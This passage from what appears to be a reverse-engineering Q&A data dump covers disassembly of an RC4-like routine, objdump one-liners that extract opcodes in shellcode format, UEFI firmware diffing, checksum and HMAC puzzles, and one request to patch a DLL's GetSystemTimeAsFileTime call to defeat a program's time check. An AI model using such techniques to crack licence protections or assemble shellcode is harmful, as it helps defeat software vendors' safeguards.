  <row Id="15920" PostTypeId="2" ParentId="15916" CreationDate="2017-07-26T20:26:29.473" Score="1" Body="&lt;p&gt;It is certainly preparing to call it, we can speculate (why else reference it?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;RegCloseKey&lt;/strong&gt; is simply used to close an open handle to the registry. It doesn't 'shut down' the registry, as your question seemed to imply (to me anyway). It is just another handle close function, but applies to registry handles. Those that come from any Registry function - RegOpenKey, RegCreateKeyEx, etc..&lt;/p&gt;&#xA;" OwnerUserId="1563" LastActivityDate="2017-07-26T20:26:29.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15921" PostTypeId="2" ParentId="1328" CreationDate="2017-07-27T02:01:50.683" Score="0" Body="&lt;p&gt;You're looking for this on the command line (for a class called MyClass):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Unix/Linux:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;javap -verbose MyClass | grep &quot;major&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On Windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;javap -verbose MyClass | findstr &quot;major&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You want the major version from the results. Here are some example values:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Java 1.2 uses major version 46&lt;/li&gt;&#xA;&lt;li&gt;Java 1.3 uses major version 47&lt;/li&gt;&#xA;&lt;li&gt;Java 1.4 uses major version 48&lt;/li&gt;&#xA;&lt;li&gt;Java 5 uses major version 49&lt;/li&gt;&#xA;&lt;li&gt;Java 6 uses major version 50&lt;/li&gt;&#xA;&lt;li&gt;Java 7 uses major version 51&lt;/li&gt;&#xA;&lt;li&gt;Java 8 uses major version 52&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21008" LastEditorDisplayName="user12114" LastEditDate="2017-07-27T08:55:47.100" LastActivityDate="2017-07-27T08:55:47.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15922" PostTypeId="2" ParentId="15890" CreationDate="2017-07-27T02:55:02.533" Score="0" Body="&lt;p&gt;After some days struggle, I find out that dynamic analyse through IDA Pro is a good way to deal with this problem.&lt;/p&gt;&#xA;" OwnerUserId="20911" LastActivityDate="2017-07-27T02:55:02.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15924" PostTypeId="1" CreationDate="2017-07-27T13:59:04.877" Score="1" ViewCount="297" Body="&lt;p&gt;I have a snippet of binary code which performs some encryption algorithm (most likely modified RC4). I have four variables associated with the encryption (seed_key_arg [1-3] and a seed_key) and encrypted output data. Most likely I have some cleartext as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never disassembled something before, so it is hard for me to begin. Is there a way for me to run the program with the material that I have, and try to decrypt the data? Since I am assuming that it is a stream cipher, the algorithm shoudl be the same for decrypting it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the output from Radare2 to show what I'm dealing with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ (fcn) fcn.00000000 380&#xA;|   fcn.00000000 (int arg_8h, int arg_ch, int arg_10h, int arg_14h);&#xA;|           ; var int local_10ch @ rbp-0x10c&#xA;|           ; var int local_8h @ rbp-0x8&#xA;|           ; var int local_4h @ rbp-0x4&#xA;|           ; arg int arg_8h @ rbp+0x8&#xA;|           ; arg int arg_ch @ rbp+0xc&#xA;|           ; arg int arg_10h @ rbp+0x10&#xA;|           ; arg int arg_14h @ rbp+0x14&#xA;|           0x00000000      89e5           mov ebp, esp&#xA;|           0x00000002      81ec14010000   sub esp, 0x114&#xA;|           0x00000008      8b4514         mov eax, dword [rbp + arg_14h] ; [0x14:4]=0x69007400&#xA;|           0x0000000b      89c1           mov ecx, eax&#xA;|           0x0000000d      8d95f4feffff   lea edx, dword [rbp - local_10ch]&#xA;|           0x00000013      b800740069     mov eax, 0x69007400&#xA;|           0x00000018      0d73007200     or eax, 0x720073&#xA;|           0x0000001d      8902           mov dword [rdx], eax&#xA;|           0x0000001f      83c204         add edx, 4&#xA;|           0x00000022      b800677300     mov eax, 0x736700&#xA;|           0x00000027      356e000034     xor eax, 0x3400006e&#xA;|           0x0000002c      8902           mov dword [rdx], eax&#xA;|           0x0000002e      83c204         add edx, 4&#xA;|           0x00000031      b899939e98     mov eax, 0x989e9399&#xA;|           0x00000036      f7d0           not eax&#xA;|           0x00000038      8902           mov dword [rdx], eax&#xA;|           0x0000003a      31c0           xor eax, eax&#xA;|           0x0000003c      81c2fc000000   add edx, 0xfc&#xA;|           0x00000042      8902           mov dword [rdx], eax&#xA;|       ,=&amp;lt; 0x00000044      eb0d           jmp 0x53&#xA;|      .--&amp;gt; 0x00000046      8b02           mov eax, dword [rdx]&#xA;|      ||   0x00000048      888c05f4feff.  mov byte [rbp + rax - 0x10c], cl&#xA;|      ||   0x0000004f      40418902       mov dword [r10], eax&#xA;|      ||   ; JMP XREF from 0x00000044 (fcn.00000000)&#xA;|      |`-&amp;gt; 0x00000053      813aff000000   cmp dword [rdx], 0xff       ; [0xff:4]=0xb60ff845 ; 255&#xA;|      `==&amp;lt; 0x00000059      76eb           jbe 0x46&#xA;|           0x0000005b      31c0           xor eax, eax&#xA;|           0x0000005d      8902           mov dword [rdx], eax&#xA;|           0x0000005f      83ea04         sub edx, 4&#xA;|           0x00000062      8902           mov dword [rdx], eax&#xA;|           0x00000064      53             push rbx&#xA;|           0x00000065      89d3           mov ebx, edx&#xA;|       ,=&amp;lt; 0x00000067      eb5f           jmp 0xc8&#xA;|      .--&amp;gt; 0x00000069      8b03           mov eax, dword [rbx]&#xA;|      ||   0x0000006b      0fb68405f4fe.  movzx eax, byte [rbp + rax - 0x10c]&#xA;|      ||   0x00000073      0fb6c0         movzx eax, al&#xA;|      ||   0x00000076      89c2           mov edx, eax&#xA;|      ||   0x00000078      0355f8         add edx, dword [rbp - local_8h]&#xA;|      ||   0x0000007b      8b03           mov eax, dword [rbx]&#xA;|      ||   0x0000007d      83e00f         and eax, 0xf&#xA;|      ||   0x00000080      03450c         add eax, dword [rbp + arg_ch]&#xA;|      ||   0x00000083      0fb600         movzx eax, byte [rax]&#xA;|      ||   0x00000086      0fb6c0         movzx eax, al&#xA;|      ||   0x00000089      8d0402         lea eax, dword [rdx + rax]&#xA;|      ||   0x0000008c      25ff000000     and eax, 0xff&#xA;|      ||   0x00000091      8945f8         mov dword [rbp - local_8h], eax&#xA;|      ||   0x00000094      8b03           mov eax, dword [rbx]&#xA;|      ||   0x00000096      0fb68405f4fe.  movzx eax, byte [rbp + rax - 0x10c]&#xA;|      ||   0x0000009e      0fb6c0         movzx eax, al&#xA;|      ||   0x000000a1      8945fc         mov dword [rbp - local_4h], eax&#xA;|      ||   0x000000a4      8b13           mov edx, dword [rbx]&#xA;|      ||   0x000000a6      8b45f8         mov eax, dword [rbp - local_8h]&#xA;|      ||   0x000000a9      0fb68405f4fe.  movzx eax, byte [rbp + rax - 0x10c]&#xA;|      ||   0x000000b1      888415f4feff.  mov byte [rbp + rdx - 0x10c], al&#xA;|      ||   0x000000b8      8b55f8         mov edx, dword [rbp - local_8h]&#xA;|      ||   0x000000bb      8b45fc         mov eax, dword [rbp - local_4h]&#xA;|      ||   0x000000be      888415f4feff.  mov byte [rbp + rdx - 0x10c], al&#xA;|      ||   0x000000c5      830301         add dword [rbx], 1&#xA;|      ||   ; JMP XREF from 0x00000067 (fcn.00000000)&#xA;|      |`-&amp;gt; 0x000000c8      813bff000000   cmp dword [rbx], 0xff       ; [0xff:4]=0xb60ff845 ; 255&#xA;|      `==&amp;lt; 0x000000ce      7699           jbe 0x69&#xA;|           0x000000d0      31c0           xor eax, eax&#xA;|           0x000000d2      8903           mov dword [rbx], eax&#xA;|           0x000000d4      83c304         add ebx, 4&#xA;|           0x000000d7      8903           mov dword [rbx], eax&#xA;|           0x000000d9      83eb04         sub ebx, 4&#xA;|       ,=&amp;lt; 0x000000dc      e98d000000     jmp 0x16e&#xA;|      .--&amp;gt; 0x000000e1      830301         add dword [rbx], 1&#xA;|      ||   0x000000e4      8b03           mov eax, dword [rbx]&#xA;|      ||   0x000000e6      25ff000000     and eax, 0xff&#xA;|      ||   0x000000eb      0fb68405f4fe.  movzx eax, byte [rbp + rax - 0x10c]&#xA;|      ||   0x000000f3      0fb6c0         movzx eax, al&#xA;|      ||   0x000000f6      0345f8         add eax, dword [rbp - local_8h]&#xA;|      ||   0x000000f9      25ff000000     and eax, 0xff&#xA;|      ||   0x000000fe      8945f8         mov dword [rbp - local_8h], eax&#xA;|      ||   0x00000101      0fb68405f4fe.  movzx eax, byte [rbp + rax - 0x10c]&#xA;|      ||   0x00000109      0fb6c0         movzx eax, al&#xA;|      ||   0x0000010c      8945fc         mov dword [rbp - local_4h], eax&#xA;|      ||   0x0000010f      8b55f8         mov edx, dword [rbp - local_8h]&#xA;|      ||   0x00000112      8b03           mov eax, dword [rbx]&#xA;|      ||   0x00000114      25ff000000     and eax, 0xff&#xA;|      ||   0x00000119      0fb68405f4fe.  movzx eax, byte [rbp + rax - 0x10c]&#xA;|      ||   0x00000121      888415f4feff.  mov byte [rbp + rdx - 0x10c], al&#xA;|      ||   0x00000128      8b03           mov eax, dword [rbx]&#xA;|      ||   0x0000012a      0fb6d0         movzx edx, al&#xA;|      ||   0x0000012d      8b45fc         mov eax, dword [rbp - local_4h]&#xA;|      ||   0x00000130      888415f4feff.  mov byte [rbp + rdx - 0x10c], al&#xA;|      ||   0x00000137      8b03           mov eax, dword [rbx]&#xA;|      ||   0x00000139      83e801         sub eax, 1&#xA;|      ||   0x0000013c      89c1           mov ecx, eax&#xA;|      ||   0x0000013e      034d08         add ecx, dword [rbp + arg_8h]&#xA;|      ||   0x00000141      8b03           mov eax, dword [rbx]&#xA;|      ||   0x00000143      83e801         sub eax, 1&#xA;|      ||   0x00000146      034508         add eax, dword [rbp + arg_8h]&#xA;|      ||   0x00000149      0fb610         movzx edx, byte [rax]&#xA;|      ||   0x0000014c      8b45f8         mov eax, dword [rbp - local_8h]&#xA;|      ||   0x0000014f      0fb68405f4fe.  movzx eax, byte [rbp + rax - 0x10c]&#xA;|      ||   0x00000157      0fb6c0         movzx eax, al&#xA;|      ||   0x0000015a      0345fc         add eax, dword [rbp - local_4h]&#xA;|      ||   0x0000015d      25ff000000     and eax, 0xff&#xA;|      ||   0x00000162      0fb68405f4fe.  movzx eax, byte [rbp + rax - 0x10c]&#xA;|      ||   0x0000016a      31d0           xor eax, edx&#xA;|      ||   0x0000016c      8801           mov byte [rcx], al&#xA;|      ||   ; JMP XREF from 0x000000dc (fcn.00000000)&#xA;|      |`-&amp;gt; 0x0000016e      8b03           mov eax, dword [rbx]&#xA;|      |    0x00000170      3b4510         cmp eax, dword [rbp + arg_10h] ; [0x10:4]=0xb8fffffe&#xA;|      `==&amp;lt; 0x00000173      0f8268ffffff   jb 0xe1&#xA;|           0x00000179      5b             pop rbx&#xA;|           0x0000017a      c9             leave&#xA;\           0x0000017b      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21012" LastActivityDate="2017-09-25T16:35:20.660" Title="How can I debug this binary (which I suspect does encryption)?" Tags="|disassembly|binary-analysis|cryptography|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15925" PostTypeId="1" AcceptedAnswerId="15926" CreationDate="2017-07-27T15:02:50.857" Score="1" ViewCount="6817" Body="&lt;p&gt;I have multiple malware files, I want to do an analysis with the opcodes. Im able to export everything to text but I only need the middle column. Any idea on how can I solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words of this output of objdump (objdump -d file) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6ypgu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ypgu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I only extract: &#xA;8d 36&#xA;8d 3f&#xA;55&#xA;90&#xA;90&#xA;8d 36&#xA;89 e5&#xA;8d 36&lt;/p&gt;&#xA;" OwnerUserId="21013" LastActivityDate="2019-08-14T15:38:07.660" Title="How can I export only the opcodes from objdump (or any other program)" Tags="|malware|objdump|assembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15926" PostTypeId="2" ParentId="15925" CreationDate="2017-07-27T15:18:17.207" Score="3" Body="&lt;p&gt;If you want to extract all the opcode you can try to run this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -d ./your_program|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need a shellcode format (\x8d\x36\x8d...), you can use this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -d ./your_program|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/&quot;/'|sed 's/$/&quot;/g'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a look at this &lt;a href=&quot;http://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4275" LastActivityDate="2017-07-27T15:18:17.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15927" PostTypeId="2" ParentId="15924" CreationDate="2017-07-27T15:31:48.743" Score="1" Body="&lt;p&gt;If you have the binary file, for sure you can debug it. I suggest you to use gdb for debug it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb your_program&#xA;(gdb) b main&#xA;(gdb) r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suggest you to insert some breakpoint in the fuctions that you want to analyze, and then follow them (&lt;code&gt;nexti/stepi&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try also to use &lt;code&gt;strace/ltrace&lt;/code&gt; to understend better the context&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at this link &lt;a href=&quot;http://www.yolinux.com/TUTORIALS/GDB-Commands.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.yolinux.com/TUTORIALS/GDB-Commands.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4275" LastActivityDate="2017-07-27T15:31:48.743" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15928" PostTypeId="2" ParentId="15925" CreationDate="2017-07-27T19:41:37.197" Score="2" Body="&lt;p&gt;you can use the multiple spaces pattern to rip the opcodes out &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -d c:/windows/system32/calc.exe | sed s/.*:[[:space:]]//g | sed s/[[:space:]][[:space:]].*//g | head -n 10&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;01001000 &amp;lt;.text&amp;gt;:&#xA;68 04 82 73 08&#xA;57&#xA;88 73 29&#xA;&#xA;~$ objdump -d c:/windows/system32/calc.exe | head -n 10&#xA;&#xA;c:/windows/system32/calc.exe:     file format pei-i386&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;01001000 &amp;lt;.text&amp;gt;:&#xA; 1001000:       68 04 82 73 08          push   $0x8738204&#xA; 1001005:       57                      push   %edi&#xA; 1001006:       88 73 29                mov    %dh,0x29(%ebx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-07-27T19:41:37.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15929" PostTypeId="1" AcceptedAnswerId="15934" CreationDate="2017-07-28T01:33:45.657" Score="2" ViewCount="1840" Body="&lt;p&gt;I have saved a copy of the UEFI firmware currently running on my motherboard through the built-in flash utility. Now I want to compare the firmware dump with the newest firmware update from the manufacture to find out what have changed between the two versions. Both files are of the type &lt;code&gt;Intel serial flash for PCH ROM&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make sure the new version isn't malicious and I'm unable to verify the integrity in any other way, as the manufacture doesn't provide any checksums and the update is only available over plain HTTP. However, I'm not sure how to get started with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The built-in flash utility must add system specific data to the firmware dump, because everytime I save the firmware it has a different hash. I guess this should be stripped somehow to prevent it from complicating the process...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips, suggestions etc. on how I can get started is highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="21018" LastActivityDate="2017-09-06T14:26:19.630" Title="Find changes between two UEFI firmware versions?" Tags="|firmware|patch-reversing|bios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15930" PostTypeId="1" CreationDate="2017-07-28T02:30:46.793" Score="1" ViewCount="461" Body="&lt;p&gt;i am struggling since a long time to determine the checksum of the following sequences. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two examples.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex1: Have the same checksum and one have a payload incrementation  by 0x0A&lt;br&gt;&#xA;at the same position (Byte 8).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex2: This one have the same checksum (9.byte).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure this are the checksum and is always 1 Byte.&lt;br&gt;&#xA;What I noticed is that the values of checksum is not bigger than 0x7F.&lt;br&gt;&#xA;I have many expamples but i see that it never grows up to 0x80.&lt;br&gt;&#xA;It can also not 0xFF because 0xFF marks the sequenze as the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example with paylod increment of 0x0A on the 8.Byte.&lt;/strong&gt;&lt;br&gt;&#xA;01: ED  0   1   0   1   0   0   00  29&lt;br&gt;&#xA;02: ED  0   1   0   1   0   0   0A  19&lt;br&gt;&#xA;03: ED  0   1   0   1   0   0   14  49&lt;br&gt;&#xA;04: ED  0   1   0   1   0   0   1E  79&lt;br&gt;&#xA;05: ED  0   1   0   1   0   0   28  4A&lt;br&gt;&#xA;06: ED  0   1   0   1   0   0   32  44&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This examples has the same checksum (0x53):&lt;/strong&gt;&lt;br&gt;&#xA;01: E4  09  01  02  26  50  00  53&lt;br&gt;&#xA;02: E4  10  01  01  00  0F  00  53&lt;br&gt;&#xA;03: E4  14  01  09  42  09  41  53&lt;br&gt;&#xA;04: E4  15  01  14  48  08  03  53&lt;br&gt;&#xA;05: E4  01  02  21  02  50  00  53&lt;br&gt;&#xA;05: E4  01  02  22  22  52  00  53&lt;br&gt;&#xA;06: E4  01  02  22  31  05  00  53&lt;br&gt;&#xA;07: E4  02  02  02  10  0D  05  53&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested various algorythms.&#xA;Fletcher, Adler32, BSD 8Bit are one of them.&lt;br&gt;&#xA;Xor8 an some tests with shiftet bits and various modulus.&lt;br&gt;&#xA;I have xored the values but nothing of worth comes out.&lt;br&gt;&#xA;Reveng gave me some results but not for all sequences.&lt;br&gt;&#xA;I am also sure that it is not a CRC but only a simple checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read many threads if there was a hint how i can reverse the checksum.&lt;br&gt;&#xA;But i see nothing wich handles 7bit. I also look at the bits but i dont know on how to begin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see some participations but dont see the relation.&lt;br&gt;&#xA;In the first block I see that the checksum is ending in 0x09. (Set 1 - 4)&lt;br&gt;&#xA;If the payload increases by 0x0A the checksum also increments by 0x30 (Set 2-4)&#xA;until a specific point (Set 5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure it is very simple. In german i would say &quot;ich sehe den Wald vor lauter Bäumem nicht&quot;.&lt;br&gt;&#xA;Don't know the correct translation in english. ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would very appreciate if someone can point me the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With best regards&lt;br&gt;&#xA;Chris&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;- replaced the word &quot;crc&quot; in the text by &quot;checksum&quot; for better understanding.&lt;br&gt;&#xA;  Tnx to JimmyB for the hint.&lt;/p&gt;&#xA;" OwnerUserId="21017" LastEditorUserId="21017" LastEditDate="2017-07-28T18:35:24.650" LastActivityDate="2017-07-28T18:35:24.650" Title="Need help for an unknown 7-bit checksum" Tags="|crc|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15931" PostTypeId="1" AcceptedAnswerId="15932" CreationDate="2017-07-28T02:35:55.630" Score="1" ViewCount="253" Body="&lt;p&gt;This might be a bit difficult to follow without context, but the gist of it is the following; I'm trying to reverse a certain application, and part of what I&quot;m attempting to reverse in the app generates 3 unique colors based on a string passed via API requests. I know that I've successfully reversed the API properly as the other data I receive works perfectly and I've built out a clone of the client that properly interacts with the API. What I'm stuck on is three color codes that are generated every day, based on a specific key passed by the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, 7/26/17, the color codes are &lt;code&gt;[#c698c8, #72555f, #2f1021]&lt;/code&gt;, created from the string that the API passed - &lt;code&gt;87gs4&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've disassembled the Java code and traced the generation of these colors to the following set of functions. I've verified that it is indeed the string I grabbed from the API responsible for generating these. The &lt;code&gt;SALT&lt;/code&gt; mentioned in the functions is generated from a datetime formatted as &lt;code&gt;yyyyMd&lt;/code&gt; - in the case of today's colors, the salt is &lt;code&gt;20170727&lt;/code&gt;, or as the HMAC signature function generates it, &lt;code&gt;20170727&lt;/code&gt; is the input with &lt;code&gt;87gs4&lt;/code&gt; as the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting signature is then taken (64 hex characters), and only the first 18 are saved, then split up into 3 to form the color codes. Therefore, I know the signature I'm looking for (for today) begins with &lt;code&gt;c698c872555f2f1021&lt;/code&gt; - but for some reason, my results do not achieve this. I've checked to make sure I&quot;m using the right key/input order (even reversed it just in case), and I'm getitng &lt;code&gt;9a0ca25fff8eeccdbaf741436ddacf364f517adcb28299f0544c72a67dca2089&lt;/code&gt; or &lt;code&gt;30c21ae7995415220e427588e451cbdd58d84785bcd58f8e3f0db2ca0fc104c4&lt;/code&gt;. I've also checked lettercase to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have tomorrow's colors, but I have the data from the API and know the salt - tomorrow it will be &lt;code&gt;20170728&lt;/code&gt; and &lt;code&gt;kRG86&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have verified that there's no external manipulation via &lt;code&gt;getColorBand()&lt;/code&gt; or &lt;code&gt;getSalt()&lt;/code&gt; before the values are passed to create the signature, and I've even had another pair of eyes take a look at this - someone who is fairly experienced with this kind of stuff - he thinks that maybe we're missing something in the byte to hex (and vice versa) conversation that is causing incorrect results, but that we're on the right track and that an HMAC-SHA256 hash generator using the yyyyMd salt and the data I received is correct in that it &lt;em&gt;should&lt;/em&gt; be generating the right data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code for the actual string manipulation and generation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        String color = this.hexFortmat.substring(0, 6);&#xA;        ImageView colorBand1 = ((ImageView) DecompiledFile.this.findViewById(R.id.image_view1));&#xA;        ImageView colorBand2 = ((ImageView) DecompiledFile.this.findViewById(R.id.image_view2));&#xA;        ImageView colorBand3 = ((ImageView) DecompiledFile.this.findViewById(R.id.image_view3));&#xA;        String hexFortmat = DecompiledFile.bin2hex(this.mdbytes);&#xA;        byte[] mdbytes = DecompiledFile.generateHmacSHA256Signature(DecompiledFile.this.getSalt(), DecompiledFile.this.getColorBand());&#xA;        boolean performAllTimerFunctions = true;&#xA;        TextView specialInstruction = ((TextView) DecompiledFile.this.findViewById(R.id.textView9));&#xA;        boolean visibleColorBand = false;&#xA;        boolean visibleSpecialInstruction = false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Relevant signature code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static byte[] generateHmacSHA256Signature(String data, String key) throws GeneralSecurityException, IOException {&#xA;    try {&#xA;        SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(StringEncodings.UTF8), HMAC_SHA_256);&#xA;        Mac mac = Mac.getInstance(HMAC_SHA_256);&#xA;        mac.init(secretKey);&#xA;        return mac.doFinal(data.getBytes(StringEncodings.UTF8));&#xA;    } catch (UnsupportedEncodingException e) {&#xA;        throw new GeneralSecurityException(e);&#xA;    }&#xA;}&#xA;&#xA;static String bin2hex(byte[] data) {&#xA;    return String.format(&quot;%0&quot; + (data.length * 2) + &quot;X&quot;, new Object[]{new BigInteger(1, data)});&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21019" LastEditorUserId="21019" LastEditDate="2017-07-28T15:57:41.043" LastActivityDate="2017-07-28T15:57:41.043" Title="Trying to reverse function to generate certain color strings from an HMAC signature - decompiled code LOOKS right, but my results differ" Tags="|java|hash-functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15932" PostTypeId="2" ParentId="15931" CreationDate="2017-07-28T03:00:02.717" Score="3" Body="&lt;p&gt;you possibly have an extra 0 in the month&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.freeformatter.com/hmac-generator.html#ad-output&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.freeformatter.com/hmac-generator.html#ad-output&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2017727&lt;/p&gt;&#xA;&#xA;&lt;p&gt;87gs4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c698c872565f2f1021645993fe29eff6adba41cb1260b7e671fc1752ae8d94a0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is padded according to format string&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.fileformat.info/tip/java/simpledateformat.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.fileformat.info/tip/java/simpledateformat.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;!&lt;img src=&quot;https://i.stack.imgur.com/ZppOS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-07-28T04:13:09.427" LastActivityDate="2017-07-28T04:13:09.427" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15933" PostTypeId="1" CreationDate="2017-07-28T07:12:22.913" Score="1" ViewCount="1184" Body="&lt;p&gt;I have a DLL that call &lt;code&gt;GetSystemTimeAsFileTime&lt;/code&gt; and set it for check time to prevent program runing&#xA;Now I want to replace it with fixed date and time for example 07/25/2017 instead of real and dynamic time &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/brB4P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/brB4P.png&quot; alt=&quot;which one should be change and to what?&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21021" LastEditorUserId="21021" LastEditDate="2017-07-28T18:23:01.993" LastActivityDate="2017-07-30T13:43:30.520" Title="How to bypass or block GetSystemTime?" Tags="|ida|ollydbg|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15934" PostTypeId="2" ParentId="15929" CreationDate="2017-07-28T09:35:22.350" Score="1" Body="&lt;p&gt;The dump is likely different due to NVRAM data (basically settings which need to be saved between boots or even BIOS updates, such as boot device, RAM timings, serial number/MAC address and so on). The contents of the firmware volumes containing code should not change between boots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are at least two options I know of to check for differences between UEFI ROM dumps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/LongSoft/UEFITool&quot; rel=&quot;nofollow noreferrer&quot;&gt;UEFITool&lt;/a&gt; or the sister project UEFIextract: extract both images then compare using a standard file diffing tool (e.g. Beyond Compare or even &lt;code&gt;diff&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/chipsec/chipsec&quot; rel=&quot;nofollow noreferrer&quot;&gt;chipsec&lt;/a&gt; project has a whitelist module which is intended to verify that the list of UEFI modules has not changed:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The module can generate a list of EFI executables from (U)EFI firmware file or&lt;br&gt;&#xA;extracted from flash ROM, and then later check firmware image in flash 